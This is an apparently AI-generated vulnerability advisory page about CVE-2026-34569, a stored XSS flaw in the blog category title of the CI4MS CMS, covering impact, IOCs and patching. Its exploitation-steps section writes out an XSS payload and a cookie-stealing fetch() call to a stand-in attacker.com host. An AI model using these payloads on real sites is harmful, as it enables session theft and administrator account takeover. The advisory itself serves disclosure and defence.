CVE-2026-34569: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-34569 is a stored DOM-based Cross-Site Scripting (XSS) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton, affecting all versions up to and including 0.28.6.0. The flaw resides in the blog categories module, where user-controlled input in the category title field is stored server-side without sanitization and later rendered without output encoding across public-facing pages, administrative interfaces, and blog post views. The vulnerability was published on March 31, 2026, and patched in version 0.31.0.0 (GitHub Advisory). It carries a CVSS v3.1 base score of 9.9 (Critical) per the GitHub Advisory Database, with no user interaction required (GitHub Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored/persistent XSS variant with DOM-based execution characteristics. The application uses unsafe DOM manipulation methods (e.g., .html(), innerHTML) or server-side templating without HTML entity encoding when rendering category titles, allowing injected JavaScript to execute in victims' browsers. An attacker with low-privilege access (any role with blog category creation or editing permissions) can submit a malicious payload such as <img src=x onerror=alert(document.domain)> into the category title field; the payload persists and fires automatically whenever any user — including administrators — views the affected endpoints (/backend/blogs/categories/ or /blog/{id}). No user interaction beyond normal page browsing is required for the payload to execute (GitHub Advisory, Security Advisory).

Impact

Successful exploitation enables persistent execution of arbitrary JavaScript in the browsers of all users who view affected pages, including administrators. This can lead to full account takeover across all roles via session token theft, privilege escalation by targeting administrator sessions, unauthorized actions performed on behalf of victims (CSRF via XSS), content modification, and redirection to malicious sites. The changed scope means the impact extends beyond the attacker's own session to affect the entire application and all its users (GitHub Advisory, Security Advisory).

Exploitability

A proof-of-concept exploit with step-by-step reproduction instructions and a specific XSS payload is publicly documented in the GitHub Security Advisory, including a video PoC hosted externally (Security Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made (GitHub Advisory). The EPSS score is approximately 0.047–0.058% (18th percentile), indicating a currently low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA KEV catalog.

Exploitation steps

  1. Reconnaissance: Identify a CI4MS instance running version ≤ 0.28.6.0. Confirm the presence of the blog categories management interface at /backend/blogs/categories/.
  2. Authenticate: Log in with any low-privilege account that has blog category creation or editing permissions.
  3. Inject payload: Navigate to the Blog Categories management page and create or edit a category. Insert a malicious XSS payload into the category title field, for example: <img src=x onerror=alert(document.domain)> or a more targeted payload to steal cookies: <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">.
  4. Save the category: Submit the form. The application stores the unsanitized payload server-side without encoding.
  5. Trigger execution: The payload automatically executes in the browser of any user (including administrators) who visits /backend/blogs/categories/, /blog/{id}, or any other view that renders the category title.
  6. Achieve objective: Capture administrator session tokens to perform full account takeover, escalate privileges, or perform actions on behalf of victims (Security Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to attacker-controlled domains (e.g., fetch or XMLHttpRequest calls to external IPs/domains) originating from pages at /backend/blogs/categories/ or /blog/{id}; unusual POST requests to the blog categories endpoint containing HTML/JavaScript tags in the title parameter.
  • Logs: Web server access logs showing requests to /backend/blogs/categories/ with category title parameters containing <script>, onerror=, javascript:, or similar XSS indicators; application logs recording category creation/editing events with anomalous title values.
  • File System / Database: Blog category records in the database containing raw HTML or JavaScript tags in the title field (e.g., <img, <script, onerror=, alert() rather than plain text.
  • Browser/Session: Unexpected session invalidation or privilege changes for administrator accounts; session tokens appearing in external server logs (Security Advisory).

Mitigation and workarounds

The vendor has released a patch in CI4MS version 0.31.0.0, which implements global input validation, enhanced CSRF token handling, and XSS protection across the application (CI4MS Release). All users should upgrade to version 0.31.0.0 or later immediately. As interim mitigations, administrators should restrict blog category creation and editing permissions to the most trusted users only, implement a strict Content Security Policy (CSP) header to limit unauthorized script execution, and ensure session cookies are configured with HttpOnly, Secure, and SameSite attributes. Additionally, audit existing category titles in the database for any stored XSS payloads and sanitize them before upgrading (GitHub Advisory).

Community reactions

The vulnerability was reported by security researchers bugmithlegend and peeefour and published by the repository maintainer bertugfahriozer (Security Advisory). Coverage appeared on The Hacker Wire and was noted across social platforms including Mastodon and Bluesky shortly after disclosure. The advisory attracted attention due to its critical severity rating and the potential for full account takeover, though no major vendor statements or widespread community debate have been recorded beyond standard vulnerability tracking.

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-55224HIGH8.7
  • PHP logoPHP
  • mineadmin/mineadmin
NoYesSep 30, 2026
CVE-2026-103111HIGH7.6
  • MariaDB Server logoMariaDB Server
  • mariadb11.8-server
NoYesSep 30, 2026
GHSA-3q6v-r5mr-hxv8HIGH7.5
  • PHP logoPHP
  • league/commonmark
NoYesSep 30, 2026
GHSA-97jj-33gv-5xf9MEDIUM6.1
  • PHP logoPHP
  • league/commonmark
NoYesSep 30, 2026
CVE-2026-104181MEDIUM5.4
  • PHP logoPHP
  • filament/filament
NoYesOct 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management